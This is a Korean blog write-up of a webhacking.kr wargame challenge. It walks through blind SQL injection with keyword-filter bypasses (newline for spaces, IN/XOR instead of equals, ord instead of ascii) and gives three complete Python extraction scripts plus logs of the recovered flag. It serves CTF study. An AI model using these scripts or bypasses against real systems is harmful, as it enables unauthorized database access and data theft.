첫번째 텍스트 입력폼에 값을 입력하면 no 라는 파라미터로 서버에 전달된다.
1을 입력하면 화면에 1이 출력되고 그 이외 값은 전부 0이 출력된다. (0을 입력할 경우 재입력하는 것 같음)
no=100 or 1=1# 을 입력해 항상 참이되는 결과를 출력하려 했지만 필터처리된다.
// 필터 문자
#
--
/**/
=
<, >
like
ascii
hex
char
mid
and
|| or는 필터처리안하면서?..
&&
left
right
limit
...
// 사용가능한 문자
or
substr
bin
lpad
(, )
IN
필터 우회(equal 우회)
// no = 100 or 1 IN (1)
no=100%0aor%0a1%0aIN%281%29 를 URL에 입력하니 참 페이지가 출력됐다.
이번 문제도 블라인드 SQL 인젝션을 통해 힌트에 나온 flag 값을 추출해보자.
우선 flag의 길이를 확인할 것이다.
no=100 or length(flag) IN(flag 길이) 와 같이 참이 되도록 하나하나 입력해보다 안나와서 뭐지 싶었다.
no=1 or length(flag) IN(flag 길이)로 바꿔서 항상 참이 되도록 한 다음 서버로 보내도 Result 0이 출력되었다.
순간 뭐지? 하다가 추측한 결과 flag는 다른 테이블에 있는 필드라는 것이다.
결과화면을 보았을 때 쿼리문을 추측하면 다음과 같다.
<?
...
if($_GET['idx'] < 0){
echo "no hack!";
exit;
}
if(!empty($_GET['idx'])){
$qry = "SELECT * FROM test WHERE idx=".$_GET['idx'];
$result = mysql_query($qry,$connect);
$num_rows = @mysql_num_rows($result);
if($num_rows){
echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".$num_rows."</td></tr></table>";
}else{
echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".'0'."</td></tr></table>";
}
}
...
?>
힌트에서도 나왔듯 flag 필드는 prob13password라는 테이블에 존재한다.
no=IF((SELECT length(flag) from prob13password) IN(flag 길이) , 1,2) 와 같이 prob13password에서 flag 길이가 맞으면 1, 틀리면 2를 no 파라미터에
전달한다. no 파라미터가 1이면 result는 1로 출력되고 그 이외 값은 0을 출력하는 특성을 이용한 것이다.
하지만 현재 prob13password 테이블에는 레코드가 1개 이상 존재하여 아래와 같은 오류메시지를 출력한다. (로컬에서 테스트해본 결과)
ERROR 1242 (21000): Subquery returns more than 1 row
따라서 limit 등과 같이 특정 레코드만 추출할 수 있어야 하는데 필터돼있다.
우선 레코드가 몇개 존재하는지 count() 집계 함수를 사용해 알아낸다. (집계함수는 SELECT 또는 HAVING 절에 위치함. 다른곳은 못씀.)
no=IF((SELECT count(flag) FROM prob13password)IN(2),1,100) 에서 참이 출력됐다. prob13password 테이블에 레코드는 2개존재하며
특정 레코드를 추출하기 위해 min, max() 함수를 사용한다.
no=IF((SELECT length(min(flag)) from prob13password) IN(flag 길이) , 1,2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | import urllib2 import urllib import re TrueKeyword = "<td>result</td></tr><tr><td>1</td>" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'PASSWORD'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length # ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2) # ################################################################## blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?" bin_pw ="" for i in xrange(1,8): injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a") print injectParams req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) if find: bin_pw+='0' else: bin_pw+='1' print "password length :" + str(int(bin_pw,2)) ################################################################## # password string # select substr(lpad(bin(hex(substr(pw,{},1))),7,0),{},1); # no=IF((SELECT substr(min(flag),{},1) from prob13password) IN({}),1,2) ################################################################## count=1 password = "" for i in xrange(1, int(bin_pw,2)+1): bin_tmp = "" for j in xrange(0x21, 0x7F): injectParams = "no=IF((SELECT substr(min(flag),"+str(i)+",1) from prob13password) IN("+hex(j)+"),1,2)" injectParams = injectParams.replace(" ","%0a") req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j)) count+=1 if find: password+=chr(j); break print "{}'s password : ".format(i)+ password print "PASSWORDDDDDDDD is :" + password | cs |
XOR 연산자를 통해 = 필터를 우회할 수 있다.
[참고]
2018/09/06 - [WEB Hacking/MySQL] - [MySQL] equal(=) 우회 (IN, regexp, like, XOR)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import urllib2 import urllib import re TrueKeyword = "<td>result</td></tr><tr><td>1</td>" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'passsssword'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length # ex) no=(SELECT length(min(flag)) from prob13password)^{}^1 # ################################################################## blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?" bin_pw ="" for i in xrange(1,51): injectParams = "no=(SELECT length(min(flag)) from prob13password)%5E"+str(i)+"%5E1" injectParams = injectParams.replace(" ","%0a") print injectParams req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) if find: break print "password length :" + str(i) | cs |
// Efficient Blind SQL 인젝션
ascii 함수가 필터돼서 위 스크립트 방법으로 했는데 ascii 함수와 동일한 기능을 하는 함수를 알게됨
ord() 함수로 ascii 함수가 필터처리 된 것을 우회할 수 있음.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | import urllib2 import urllib import re TrueKeyword = "<td>result</td></tr><tr><td>1</td>" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'passssword'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length # ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2) # ################################################################## blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?" bin_pw ="" for i in xrange(1,8): injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a") print injectParams req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) if find: bin_pw+='0' else: bin_pw+='1' print "password length :" + str(int(bin_pw,2)) ################################################################## # password string # no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2) ################################################################## count=1 password = "" for i in xrange(1, int(bin_pw,2)+1): bin_tmp = "" for j in xrange(1, 8): injectParams = "no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)".format(i,j).replace(" ","%0a") req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) count+=1 if find: bin_tmp += '0' print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 0) else: bin_tmp += '1' print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 1) password += chr(int(bin_tmp,2)) print "{}'s password : ".format(i)+ password print "PASSWORDDDDDDDD is :" + password | cs |
18's password : challenge13luckcle
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 128's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 129's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 134's injection =1
19's password : challenge13luckclea
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 135's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 136's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 137's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 140's injection =1
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =0
[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =1
20's password : challenge13luckclear
PASSWORDDDDDDDD is :challenge13luckclear
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 49번 :: SQL 인젝션 (0) | 2018.09.10 |
---|---|
[webhacking.kr] 9번 :: Blind SQL 인젝션 ::IF문 활용 (0) | 2018.09.08 |
[webhacking.kr] 40번 Blind SQL 인젝션 - Efficient Blind SQL 인젝션 스크립트 작성 (0) | 2018.09.04 |
[webhacking.kr] 55번 Blind SQL 인젝션 (0) | 2018.09.04 |
[webhacking.kr] 53번 - 작성중 (0) | 2018.09.03 |